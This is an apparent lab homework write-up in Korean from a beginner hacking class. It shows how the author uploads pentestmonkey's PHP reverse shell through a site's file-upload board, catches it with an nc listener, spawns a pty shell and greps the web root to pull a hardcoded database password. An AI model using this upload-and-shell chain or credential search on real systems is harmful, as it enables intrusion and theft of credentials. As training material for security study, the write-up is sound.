[normaltic 비기너 클래스 1기] 2023-08-02 4주차 과제

2023. 8. 9. 08:22normaltic 비기너 클래스 1기/과제

DB의 segfault 계정 비밀번호를 알아내보자!

 

 

주어진 문제는 DB에서 segfault 계정의 비밀번호를 획득하는 것으로 우선 타깃 IP 주소는 10.10.173.36인 것을 확인할 수 있다. 

 

 

netstat -ant 10.10.173.36

 

타깃 IP 주소로 포트 스캔할 결과 포트 80번이 열려있는 상태이므로 웹 브라우저 주소창에 타깃 IP 주소를 입력해 보자.

 

 

IP 주소를 입력하면 어떤 웹 사이트가 나오게 되는데 Login과 문의 게시판 버튼이 보인다. Login 버튼을 눌러보자.

 

 

Login 버튼을 누르게 되면 계정과 비밀번호를 입력하는 페이지가 나타난다. 웹 사이트에 대한 정보를 알아야 하기 때문에 Sign up 버튼을 클릭하여 웹 사이트에 가입해 보자.

 

 

가입 후에 로그인을 진행하면 마이페이지, 게시판, Logout 버튼을 볼 수 있다. 

 

 

마이페이지 버튼을 클릭하면 비밀번호를 변경하는 페이지로 이동하게 된다. 별다른 정보를 얻을 수 없으니 돌아가서 게시판 버튼을 눌러보자.

 

 

게시판 버튼을 클릭 후에 글쓰기 버튼을 클릭하면 글을 쓸 수 있는 페이지로 이동하게 되는데 글을 등록할 때 파일도 같이 등록할 수 있는 것을 확인할 수 있다. 파일 등록을 이용해서 리버스 쉘을 등록 후에 실행해 보자.

 

 

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O webshell.php

 

구글링을 통해서 php형식의 리버스 쉘을 다운로드하고 'webshell.php'라는 이름으로 변경하였다.

 

 

다운로드한 리버스 쉘 파일은 수정해줘야 할 곳이 존재한다. 텍스트 에디터를 사용하여 webshell.php 파일을 열어서 빨간 줄이 그어져 있는 곳을 주목해야 하는데 $ip 에는 공격자의 ip 주소로 변경해야 하고, $port 에는 열어놓을 포트 번호로 변경해 주면 된다. 

 

 

webshell.php 파일을 올려놓은 글을 등록하였다. 이제 웹에서 리버스 쉘을 실행시키기 위해 webshell.php파일이 어느 경로에 있는지 확인해야 한다.

 

 

등록한 글에서 Download 버튼에 커서를 올려놓으면 webshell.php 파일이 어느 경로에 존재하는지 확인할 수 있다. 이제 공격자 컴퓨터에서 리버스 쉘 파일에 적어놓은 포트를 열어놓고 10.10.173.36/files/kim/webshell.php 를 웹 브라우저에 입력하면 wepshell.php 파일이 작동하여 타깃의 쉘을 획득할 수 있을 것이다.

 

 

nc -nlvp 443

 

nc 명령어를 통해 443번 포트를 열어놓고 웹 브라우저에 webshell.php 파일을 입력했더니 타겟 컴퓨터의 쉘을 획득할 수 있었다. 이제 DB의 segfault 계정 비밀번호를 찾아보자.

 

 

python3 -c "import pty;pty.spawn('/bin/bash')"
cd /var/www/html
ls

 

segfault 계정의 비밀번호를 찾기 위해 우선 /var/www/html 디렉터리로 이동 후에 ls 명령어를 통해서 파일들을 확인할 수 있었다. php파일 내용 중에 segfault 계정에 대한 정보가 있을 수 있으므로 grep 명령어를 사용하여 segfault 문자열을 포함하고 있는 행들을 찾아보자.

 

 

grep -r 'segfault' ./*

 

grep 명령어를 사용하여 해당 디렉터리에 있는 모든 파일에서 segfault 문자열을 포함하고 있는 행들을 찾았다. 결과로 출력된 행들은 모두 같은 내용인 것을 확인할 수 있었다. 그렇다면 결과로 출력된 값이 무슨 의미를 갖는 건지 확인해 보기 위해 구글링을 통해서 mysql_connect 함수에 대해 알아보았더니 $connect = mysql_connect("localhost","ID","비밀번호")이라는 정보를 얻을 수 있었다. 이를 통해 'segfault' 계정의 비밀번호가 'youGotThis?'라는 것을 확인할 수 있었다.